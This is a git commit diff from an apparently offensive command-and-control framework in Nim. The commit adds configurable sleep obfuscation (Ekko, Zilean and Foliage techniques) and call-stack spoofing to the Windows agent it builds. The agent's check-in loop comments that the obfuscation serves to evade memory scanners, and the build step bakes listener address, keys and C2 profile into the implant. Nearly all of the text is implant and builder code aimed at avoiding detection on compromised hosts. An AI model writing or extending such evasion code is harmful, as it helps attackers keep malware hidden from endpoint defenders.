Integrated sleep obfuscation settings into agent generation.

This commit is contained in:
Jakob Friedl
2025-09-04 13:44:50 +02:00
parent e297bb2d76
commit e64e31a7bc
8 changed files with 39 additions and 24 deletions

View File

@@ -30,6 +30,8 @@ proc deserializeConfiguration(config: string): AgentCtx =
ip: unpacker.getDataWithLengthPrefix(), ip: unpacker.getDataWithLengthPrefix(),
port: int(unpacker.getUint32()), port: int(unpacker.getUint32()),
sleep: int(unpacker.getUint32()), sleep: int(unpacker.getUint32()),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey, agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix()) profile: parseString(unpacker.getDataWithLengthPrefix())

View File

@@ -125,7 +125,6 @@ proc GetRandomThreadCtx(): CONTEXT =
Ekko sleep obfuscation based on Timers API using RtlCreateTimer Ekko sleep obfuscation based on Timers API using RtlCreateTimer
]# ]#
proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) = proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
ctx: array[10, CONTEXT] ctx: array[10, CONTEXT]
@@ -465,8 +464,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
#[ #[
Foliage sleep obfuscation based on Asynchronous Procedure Calls Foliage sleep obfuscation based on Asynchronous Procedure Calls
]# ]#
proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) = proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
ctx: array[7, CONTEXT] ctx: array[7, CONTEXT]
@@ -574,7 +572,7 @@ proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) =
echo protect("[-] "), err.msg echo protect("[-] "), err.msg
# Sleep obfuscation implemented in various techniques # Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoofStack: var bool = true) = proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
if sleepDelay == 0: if sleepDelay == 0:
return return
@@ -582,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoof
# Initialize required API functions # Initialize required API functions
let apis = initApis() let apis = initApis()
echo fmt"[*] Sleepmask settings: Technique: {$mode}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
var img: USTRING = USTRING(Length: 0) var img: USTRING = USTRING(Length: 0)
var key: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0)
@@ -602,11 +600,12 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoof
key.Length = cast[DWORD](keyBuffer.len()) key.Length = cast[DWORD](keyBuffer.len())
# Execute sleep obfuscation technique # Execute sleep obfuscation technique
case mode: case technique:
of EKKO: of EKKO:
sleepEkko(apis, key, img, sleepDelay, spoofStack) sleepEkko(apis, key, img, sleepDelay, spoofStack)
of ZILEAN: of ZILEAN:
sleepZilean(apis, key, img, sleepDelay, spoofStack) sleepZilean(apis, key, img, sleepDelay, spoofStack)
of FOLIAGE: of FOLIAGE:
sleepFoliage(apis, key, img, sleepDelay) sleepFoliage(apis, key, img, sleepDelay)
of NONE:
sleep(sleepDelay)

View File

@@ -34,10 +34,8 @@ proc main() =
]# ]#
while true: while true:
# Sleep obfuscation to evade memory scanners
# Sleep obfuscation with stack spoofing to evade memory scanners sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
var spoof = true
sleepObfuscate(ctx.sleep * 1000, spoofStack = spoof)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in." echo "\n", fmt"[*] [{date}] Checking in."

View File

@@ -3,5 +3,5 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -77,10 +77,11 @@ type
LOG_SUCCESS = "[DONE] " LOG_SUCCESS = "[DONE] "
LOG_WARNING = "[WARN] " LOG_WARNING = "[WARN] "
SleepObfuscationMode* = enum SleepObfuscationTechnique* = enum
EKKO = 0'u8 NONE = 0'u8
ZILEAN = 1'u8 EKKO = 1'u8
FOLIAGE = 2'u8 ZILEAN = 2'u8
FOLIAGE = 3'u8
# Encryption # Encryption
type type
@@ -209,6 +210,8 @@ type
ip*: string ip*: string
port*: int port*: int
sleep*: int sleep*: int
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
sessionKey*: Key sessionKey*: Key
agentPublicKey*: Key agentPublicKey*: Key
profile*: Profile profile*: Profile

View File

@@ -7,17 +7,27 @@ import ../../common/[types, utils, profile, serialize, crypto]
const PLACEHOLDER = "PLACEHOLDER" const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[byte] = proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] =
var packer = Packer.init() var packer = Packer.init()
# Add listener configuration # Add listener configuration
# Variable length data is prefixed with a 4-byte length indicator # Variable length data is prefixed with a 4-byte length indicator
# Listener configuration
packer.add(string.toUuid(listener.listenerId)) packer.add(string.toUuid(listener.listenerId))
packer.addDataWithLengthPrefix(string.toBytes(listener.address)) packer.addDataWithLengthPrefix(string.toBytes(listener.address))
packer.add(uint32(listener.port)) packer.add(uint32(listener.port))
# Sleep settings
packer.add(uint32(sleep)) packer.add(uint32(sleep))
packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii())))
packer.add(uint8(spoofStack))
# Public key for key exchange
packer.addData(cq.keyPair.publicKey) packer.addData(cq.keyPair.publicKey)
# C2 profile
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString())) packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
let data = packer.pack() let data = packer.pack()
@@ -123,7 +133,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bo
return true return true
# Agent generation # Agent generation
proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} = proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} =
# Verify that listener exists # Verify that listener exists
if not cq.dbListenerExists(listener.toUpperAscii): if not cq.dbListenerExists(listener.toUpperAscii):
@@ -133,11 +143,11 @@ proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} =
let listener = cq.listeners[listener.toUpperAscii] let listener = cq.listeners[listener.toUpperAscii]
var config: seq[byte] var config: seq[byte]
if sleep.isEmptyOrWhitespace(): if sleepDelay.isEmptyOrWhitespace():
# If no sleep value has been defined, take the default from the profile # If no sleep value has been defined, take the default from the profile
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep")) config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack)
else: else:
config = cq.serializeConfiguration(listener, parseInt(sleep)) config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack)
let unpatchedExePath = cq.compile(config.len) let unpatchedExePath = cq.compile(config.len)
if unpatchedExePath.isEmptyOrWhitespace(): if unpatchedExePath.isEmptyOrWhitespace():

View File

@@ -13,6 +13,8 @@ proc makeAgentLogDirectory*(cq: Conquest, agentId: string): bool =
proc log*(cq: Conquest, logEntry: string) = proc log*(cq: Conquest, logEntry: string) =
let let
# TODO: Fix issue where log files are written to the wrong agent when the interact agent is changed in the middle of command execution
# Though that problem would not occur when a proper GUI is used in the future
date = now().format("dd-MM-yyyy") date = now().format("dd-MM-yyyy")
agentLogPath = fmt"{CONQUEST_ROOT}/data/logs/{cq.interactAgent.agentId}/{date}.session.log" agentLogPath = fmt"{CONQUEST_ROOT}/data/logs/{cq.interactAgent.agentId}/{date}.session.log"

View File

@@ -55,8 +55,9 @@ var parser = newParser:
help("Generate a new agent to connect to an active listener.") help("Generate a new agent to connect to an active listener.")
option("-l", "--listener", help="Name of the listener.", required=true) option("-l", "--listener", help="Name of the listener.", required=true)
option("-s", "--sleep", help="Sleep delay in seconds.") option("-s", "--sleep", help="Sleep delay in seconds.")
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) # option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"): command("help"):
nohelpflag() nohelpflag()
@@ -104,7 +105,7 @@ proc handleConsoleCommand(cq: Conquest, args: string) =
of "interact": of "interact":
cq.agentInteract(opts.agent.get.interact.get.name) cq.agentInteract(opts.agent.get.interact.get.name)
of "build": of "build":
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep) cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
else: else:
cq.agentUsage() cq.agentUsage()